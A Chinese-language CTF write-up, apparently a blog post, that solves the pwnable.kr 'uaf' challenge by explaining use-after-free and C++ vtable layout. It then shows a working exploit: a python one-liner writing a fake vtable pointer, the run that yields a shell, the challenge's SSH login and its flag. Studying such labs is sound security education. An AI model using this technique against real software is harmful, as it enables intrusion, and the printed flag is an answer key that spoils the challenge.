pwnable.kr [Toddler's Bottle] - uaf

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

根据提示已经可以知道这里需要我们利用漏洞Use-After-Free(UAF)。
该漏洞的简单原理为:

  1. 产生迷途指针(Dangling pointer)——已分配的内存释放之后,其指针并没有因为内存释放而置为NULL,而是继续指向已释放内存。
  2. 这块被释放的内存空间中被写入了新的内容。
  3. 通过迷途指针进行操作时,会错误地按照释放前的偏移逻辑去访问新内容。

关于UAF的详细介绍可参见 https://en.wikipedia.org/wiki/Dangling_pointer

先看源码再来分析思路:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;   
}

看到这里大致的思路已经有了。
程序给我们提供了三个选择,调用对象的虚函数、分配自定义的堆空间并写入自定义的内容、释放对象在堆中的内存空间。
这里我们需要按照312的方式执行程序:

  • 释放指针m, w指向的的内存空间,同时m, w没有被置为NULL
  • 构造一个文件,文件中含有要去m或w指定的空间中写入的内容
  • 调用虚函数,到这里程序的执行流程已经被劫持。

所以这里的重点就是如何构造要写入的内容。


在解决这个问题之前,需要先知道虚函数的调用机制。因为题目的需要,先不讨论虚继承和多重继承的情况:

在C++中,每一个含有虚函数的类都会有一个虚函数表,简称虚表。与之对应的,每一个对象都会有其专属的虚表指针指向这个虚表。

(值得一提的是,在一个继承树中,没有被覆写的虚函数虽然在被保存在不同的虚表中,但其地址是一致的。覆写后子类的虚表保存了覆写后的虚函数地址。

如果是多重继承,那么根据基类的个数会有多个虚表对应这个类;
如果是虚继承,那么子类会有两份虚指针,一份指向自己的虚表,另一份指向虚基表,多重继承时虚基表与虚基表指针有且只有一份。

虚函数是按照在虚表中的偏移进行调用的,同时虚表通过虚表指针和对象进行关联,接下来我们再了解一下对象在内存中的保存结构:

对象在内存开辟空间后,按照虚表指针、继承自基类的成员、类自身的成员的顺序进行存储。(如果是多重继承和虚继承,可能存在多个虚表指针)

关于类和虚表的内存分布可以参考 http://www.cnblogs.com/jerry19880126/p/3616999.html
注:仅做参考,关于其中所述的“虚指针继承”等内容有待商榷。


理清上述的概念之后,我们在这里就可以使用UAF,计算目标函数在虚表中的偏移,“重写”虚表指针中保存的虚表地址,控制虚函数调用流程前往目标函数处。

另外,这里还应该知道的是,C++类的对象创建含有这6个函数调用过程:

--> std::allocator< char >::allocator(void)
--> std::allocator< char >>::basic_string()
--> operator new(ulong)
--> Class Conductor
--> std::allocator< char >>::~basic_string()
--> std::allocator< char >::~allocator(void)

为了方便观察,在本地编译uaf.cpp后用IDA查看,可以更直观地看到这一调用机制:


完成了以上的准备工作后,直接在Host上用gdb调试程序(惭愧,眼拙的我到今天才看到 - to use peda, issue 'source /usr/share/peda/peda.py' in gdb terminal ,原来Host主机上也可以使用peda....)

往后单步调试,可以看到调用 new(ulong) 开辟空间时参数为0x18,说明这里Man的对象大小为24字节。


在man类构造函数调用完成后,查看寄存器和栈的情况:


如图所示,此时rbx中存放着对象m的首地址0x18bbc50,这里可以看到peda已经为我们提出了对象m前8个字节保存的内容(略去了0x00),即为虚表指针指向的虚函数表地址,该虚表中保存第一个函数地址即为目标函数give_shell。

这里我们通过 x 命令观察对象m所开辟的内存空间的情况:



可以清晰地看到,Man类对象在内存中按8字节对齐,依次保存了虚表指针(指向类Man的虚函数表0x401570),继承自基类的成员age( 0x19 = 25),继承自积累的成员name(字符串地址为0x18bbc38,前往该地址查看内容即为“Jack”)。

前往0x401570处看到Man的虚函数表并进一步跟进:



得到目标函数give_shell的指令起始地址为0x40117a(相对虚表首地址编译为0),introduce函数的指令起始地址为0x4012d2(相对虚表首地址偏移为8)。

根据思路,我们只要利用UAF改写对象内存空间中虚表指针指向的地址 = 虚函数表首地址 - 8,即可将give_shell“当做”introduce来执行。

另外,由于执行内存释放先施放了m,而后才释放了w,所以我们在开辟小于等于24字节的空间时,系统优先考虑的是使用原先w指针指向的对象占用的空间。

而又因为introduce函数分别由m,w指向的对象来调用,所以内存释放后先调用的是m指向的introduce函数,为了避免报错,m指向的内存空间也应该被覆写。

同样地,我们利用相同的方法找到w指向的堆空间首地址以及类Woman的虚函数表首地址:


利用python在tmp下创建文本并写入内容为 0x0000000000401550 - 0x08 = 0x0000000000401548,注意小端序;构造参数一小于等于24,参数二为该文本的路径,得到shell:

uaf@ubuntu:~$ python -c 'print "\x48\x15\x40\x00\x00\x00\x00\x00"' > /tmp/uafUm
uaf@ubuntu:~$ ./uaf 20 /tmp/uafUm
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning




题外话,
这段时间面临了很多选择和困惑,
也因为自己的不强大导致了在将要做出选择时变得犹犹豫豫甚至畏手畏脚;

无论前路如何,勿忘初心,相信自己,善待自己。
最大的心愿还是世界和平,希望可以爱人和被爱。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343

推荐阅读更多精彩内容